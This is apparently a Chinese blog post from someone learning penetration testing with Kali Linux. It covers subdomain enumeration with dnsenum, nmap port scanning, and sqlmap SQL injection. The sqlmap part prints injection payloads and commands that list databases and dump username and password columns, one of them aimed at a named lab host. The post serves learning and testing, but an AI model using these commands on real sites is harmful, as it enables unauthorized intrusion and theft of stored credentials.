Kali渗透学习(1)——WEB端域名探测与端口扫描于sqlmap注入

Kali渗透学习(1)——WEB端域名探测与端口扫描

前言

学习Kali渗透已经将近半个月了,有必要记录以下自己的学习过程,以免遗忘

1.子域名探测

DNS服务是暴露信息的主要来源,一般安全性高的大型互联网址不容易发现漏洞,所以我们可以从子域名(比如三级域名)下手,而dnsenum是一款强大的域名信息收集工具,使用格式

dnsenum -f (-f指定收集用的字典文件)/usr/share/dnsenum/字典.txt +你要探测的域名或者ip

域名分级
一个完整的域名(.com、.net、.edu、.gov等)由二个或二个以上部分组成,各部分之间用英文的句号".“来分隔,最后一个”."的右边部分称为顶级域名 (Top-level Domain Name),顶级域名“.”的左边部分称为二级域名 (Second-level Domain Name),二级域名的左边部分称为三级域名,以此类推,每一级的域名控制它下一级域名的分配。
比如
.com的com就是顶级域名,其他还有像cn,edu,jp等等
二级域名是顶级域名下的域名,比如 baidu.com的baidu,而baidu.com是一个二级域名网址
如果在baidu.com的左边多加的一个主机名如:bbs.baidu.com,则称bbs.baidu.com为三级域名(重点说明,www.baidu.com 也是一个二级域名)
如果在bbs.baidu.com左边再多加加一个主机名如bai.bbs.baidu.com,则称bai.bbs.baidu.com为四级域名。
以此类推可以得到四级域名,五级域名等,不过一般三级域名以上的应用比较少。

2.端口扫描

当我们收集到子域名后,用nmap进行该域名的端口扫描

nmap -v 域名
常用的扫描参数
-sS TCP SYN扫描
-p 指定端口扫描
-v 显示扫描的过程,也可以使用 -vv
-Pn 当禁止ping后扫描参数
-A 全面的系统扫描

子域名有一些特征需要说明

open是开放端口,filtered是指被过滤的端口,nmap也不知道他是开放的还是关闭的,后面还列出了传输协议
PORT STATE SERVICE REASON
42/tcp filtered nameserver no-response
53/tcp filtered domain host-unreach ttl 54
80/tcp open http syn-ack ttl 53
81/tcp open hosts2-ns syn-ack ttl 54
135/tcp filtered msrpc no-response
139/tcp filtered netbios-ssn no-response
443/tcp open https syn-ack ttl 53
445/tcp filtered microsoft-ds no-response
593/tcp filtered http-rpc-epmap no-response

在域名后加上相关的端口,就可以访问了,或者还可以用namp指定端口扫描

3.尝试sqlmap注入

sqlmap -u(url) “http://尝试注入的urlxxxx.php?id=x”

这里sqlmap会返回是否存在诸如点,比如我这里的是基于布尔型盲注,或者也可以指定注入方式

sqlmap -u(url) “http://尝试注入的urlxxxx.php?id=x” --tech B

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1’ AND 6609=6609 AND ‘gTaI’=‘gTaI
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1’ AND (SELECT 1038 FROM (SELECT(SLEEP(5)))vrpS) AND ‘bDyf’=‘bDyf
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6063’ UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x48664f574d6643655043716b7841666f414c51547664627461707355646855536e5a6559514e617a,0x717a706271),NULL-- ubNd

查看数据库

sqlmap -u(url) “http://尝试注入的urlxxxx.php?id=x” --dbs

查看某一数据库表单

sqlmap -u(url) “http://尝试注入的urlxxxx.php?id=x” -D 数据库名–tables

某一行字行内容抓取

sqlmap -u “http://xxx.xxx.com/xxxx.php?id=1” -D 数据库名 -T某一行名称 --columns

获得该段的内容

sqlmap -u “http://shop.aqlab.cn:8001/single.php?id=1” -D 数据库名 -T某一行名称 passwd,username(根据自己的扫描结果来写) --dump

本软件能快速扫描域名注册情况,批量导出导入,速度快,站长朋友不可多得的好工具,如今查找已备案域名比较困难,此工具配合已备案域名查询网】效果极佳。 版本介绍: ======================================================== 2008-7-23 版本 1.2.0 增加最小化到托盘图标的功能,可即时了解查找情况 增加导出格式选择,详细列表和域名字典库2种 修正部分小错误 2008-3-18 版本 1.0.7 由于CN类的whois服务器长期不稳定,在新版本中取消该类域名的查询, 直到服务稳定为止! 望各位用户谅解。 2007-11-20 版本 1.0.6 限制线程总数,最高只能为10线程(因为对于某些服务器造成了负荷) 关闭了搜索情况的提醒 增加了搜索过程的详细信息 更换了部分注册查询服务器 修正.COM等顶级国际域名的搜索 2007-11-12 版本 1.0.3 增加单域名搜索方式 详细各输入栏目的描述 2007-11-8 版本 1.0.1 增强域名选择的弹出窗口 增加代理设置管理界面 修正部分后缀的校验代码 2007-10-11 版本 1.0.0 增加检测搜索状态,如果在开始的1分钟内,搜索量低于10个,将停止并给予解决意见 修正部分界面操作故障 修改域名的检查时间改为无限时,直到1域名检查到确实的注册情况 增加一个显示域名的详细注册情况的网站,在程序中可以引导过去 2007-9-11 版本 0.9.5.0 修复部分失效的域名注册查询网站(解决最近出现的检测时丢失域名的问题) 2007-8-6 版本 0.9.3.0 增加支持HTTP代理服务器模式 增加支持线程数的设置 增加自动检查新版本,并在线升级功能 增加中文字词转换到拼音的功能,由于多音字的问题,建议只作为参考使用 单域名的查询通过输入前缀名称并将随机位数设置为零来实现查询 2007-7-31 版本 0.9.0.0 增加词库模式搜索 增加多后缀搜索,允许对同一个域名进行多个后缀的搜索 2007-7-18 版本 0.8.0.0 修正顺序搜索时的前后缀丢失问题 修正搜索时有重复域名的错误 增加域名列表时的右键快捷功能菜单 缩短停止搜索时的等待时间 增加顺序域名搜索功能 增强搜索过程中的细节显示 2007-7-3 版本 0.7.5.0 优化界面 增加注册向导 增加.cn域名的最新到期名单功能,并能够自动更新 增加相关资讯及网站 增加支持cc,cn,com.cn,net.cn,org.cn,gov.cn,tv这些域名 2007-6-13 版本 0.5.1.3 优化搜索模块,提高搜索速度 2006-09-13 12:00 版本 测试版 0.2.5.0 第一版发布 1.支持英文、数字、英文数字混合域名,随机组合进行检查。 2.支持多种国际顶级域名 3.如果域名已经注册,记录域名的失效日期。 4.提高检查速度。 5.单域名查询
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值